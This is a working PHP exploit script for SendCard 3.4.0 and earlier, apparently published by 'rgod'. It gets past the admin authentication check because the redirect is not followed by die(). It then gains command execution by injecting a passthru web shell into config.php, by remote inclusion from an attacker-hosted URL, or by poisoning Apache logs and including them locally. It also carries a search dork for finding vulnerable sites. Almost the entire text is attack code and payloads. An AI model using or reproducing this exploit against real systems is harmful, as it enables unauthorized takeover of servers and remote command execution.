#!/usr/bin/php -q -d short_open_tag=on <?
echo "SendCard <= 3.4.0 unauthorized administrative access / remote commands\n"; echo "execution exploit\n"; echo "by rgod [EMAIL PROTECTED]"; echo "site: http://retrogod.altervista.org\n";; echo "dork: \"Powered by sendcard - an advanced PHP e-card program\"\n\n"; if ($argc<4) { echo "Usage: php ".$argv[0]." host path action [location] [cmd] OPTIONS\n"; echo "host: target server (ip/hostname)\n"; echo "path: path to sendcard\n"; echo "action: 1 -> php injection\n"; echo " works against magic_quotes_gpc=Off\n"; echo " 2 -> arbitrary remote inclusion\n"; echo " works against allow_url_fopen=On\n"; echo " 3 -> arbitrary local inclusion\n"; echo " works regardless of php.ini settings\n"; echo " and if you succeed to include Apache logs\n"; echo " 4 -> read phpinfo()\n"; echo "[location] a remote http location with the code to include\n"; echo " needed by 2, with an ending slash\n"; echo "[cmd]: a shell command, needed by 1-3\n"; echo "Options:\n"; echo " -p[port]: specify a port other than 80\n"; echo " -P[ip:port]: specify a proxy\n"; echo "Example:\n"; echo "php ".$argv[0]." localhost /sendcard/ 1 ls -la\n"; echo "php ".$argv[0]." localhost /sendcard/ 2 http://somehost.com/ ls -la\n"; echo "php ".$argv[0]." localhost /sendcard/ 3 ls -la\n"; echo "php ".$argv[0]." localhost /sendcard/ 4 > phpinfo.html\n"; echo "php ".$argv[0]." localhost /sendcard/ 4 -p81> phpinfo.html\n"; echo "php ".$argv[0]." localhost /sendcard/ 4 -P1.1.1.1:80 > phpinfo.html\n"; echo "note: for action 2 you need this code in http://somehost.com/sendcard_setup.php/index.html :\n"; echo "<?php set_time_limit(0);echo 'sun-tzu';passthru(\$_SERVER(\"HTTP_CLIENT_IP\");echo 'sun-tzu';die;?>\n"; die; } /* software site: http://www.sendcard.org/ vulnerable code in admin/prepend.php near lines 32-34: [*] ... if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) { header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF'])); } ... should be instead: [**] ... if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) { header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF'])); die; // <---------------------[! ;)] } ... [*] is included by all scripts in admin/ folder this means that maybe redirection works if you try to access the admin scripts through the browser... but what happens if you do the bad work through a script? eheheheheheh so you can have access to all admin scripts to... (1) inject php code in config.php through admin/setup.php script, this works fine with magic_quotes_gpc = Off (2) inject an arbitrary http location in config.php and go to admin/mod_stats.php to include evil code from it, this works with allow_url_fopen=On (3) include an arbitrary file from local resource thorugh admin/mod_stats.php, ex: apache logs, this works regardless of php.ini settings... (4) see phpinfo() through admin/mod_phpinfo.php to choose which exploitation method is better eheheheheheheh */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $c=4;$host=$argv[1];$path=$argv[2];$action=(int)$argv[3]; if ($action==2) {$location=$argv[4]; $c=5;}$cmd="";$port=80;$proxy=""; for ($i=$c; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($action<>4) { if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} } if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($action==1) { $shell='suntzu");set_time_limit(0);echo "sun-tzu";passthru($_SERVER["HTTP_CLIENT_IP"]);echo "sun-tzu";die("suntzu'; $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n"; $data.="Content-Type:\r\n\r\n"; $data.="$shell\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n"; $packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(1); $packet="GET ".$p."admin/config.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $cmd\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"sun-tzu")) { echo "exploit succeeded...\n"; $temp=explode("sun-tzu",$html); die($temp[1]); } else { echo "exploit failed..."; //debug //echo $html; } } elseif ($action==2) { $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n"; $data.="Content-Type:\r\n\r\n"; $data.="$location\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n"; $packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $packet="GET ".$p."admin/mod_stats.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $cmd\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"sun-tzu")) { echo "exploit succeeded...\n"; $temp=explode("sun-tzu",$html); die($temp[1]); } else { //debug echo $html; echo "exploit failed...see html to adjust the path..."; } } elseif ($action==3) { $CODE="<?php set_time_limit(0);echo chr(115).chr(117).chr(110).chr(45).chr(116).chr(122).chr(117);passthru(\$_SERVER[HTTP_CLIENT_IP]);echo chr(115).chr(117).chr(110).chr(45).chr(116).chr(122).chr(117);die;?>"; $packet="GET ".$p.$CODE." HTTP/1.1\r\n"; $packet.="User-Agent: ".$CODE."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: close\r\n\r\n"; #debug #echo quick_dump($packet); sendpacketii($packet); sleep(2); $paths= array ( "../../../../../../../../../../var/log/httpd/access_log", "../../../../../../../../../../var/log/httpd/error_log", "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../logs/error.log", "../logs/access.log", "../../logs/error.log", "../../logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../../../../../../etc/httpd/logs/acces_log", "../../../../../../../../../../etc/httpd/logs/acces.log", "../../../../../../../../../../etc/httpd/logs/error_log", "../../../../../../../../../../etc/httpd/logs/error.log", "../../../../../../../../../../var/www/logs/access_log", "../../../../../../../../../../var/www/logs/access.log", "../../../../../../../../../../usr/local/apache/logs/access_log", "../../../../../../../../../../usr/local/apache/logs/access.log", "../../../../../../../../../../var/log/apache/access_log", "../../../../../../../../../../var/log/apache/access.log", "../../../../../../../../../../var/log/access_log", "../../../../../../../../../../var/www/logs/error_log", "../../../../../../../../../../var/www/logs/error.log", "../../../../../../../../../../usr/local/apache/logs/error_log", "../../../../../../../../../../usr/local/apache/logs/error.log", "../../../../../../../../../../var/log/apache/error_log", "../../../../../../../../../../var/log/apache/error.log", "../../../../../../../../../../var/log/access_log", "../../../../../../../../../../var/log/error_log" ); for ($i=0; $i<count($paths); $i++) { echo "trying with $paths[$i] for plugin_file argument\r\n"; $packet="GET ".$p."admin/mod_plugins.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="CLIENT-IP: $cmd\r\n"; $packet.="Cookie: plugin_file=".urlencode($paths[$i]).";\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"sun-tzu")) { echo "exploit succeeded...\n\n"; $temp=explode("sun-tzu",$html); echo $temp[1]; die; } } //if you are here... die("exploit failed..."); } elseif ($action==4) { $packet="GET ".$p."admin/mod_phpinfo.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("<!DOCTYPE",$html); //remove http headers echo "<!DOCTYPE".$temp[1]; } else echo ("specify an action [1-4]..."); ?> original url: http://retrogod.altervista.org/sendcard_340_xpl.html
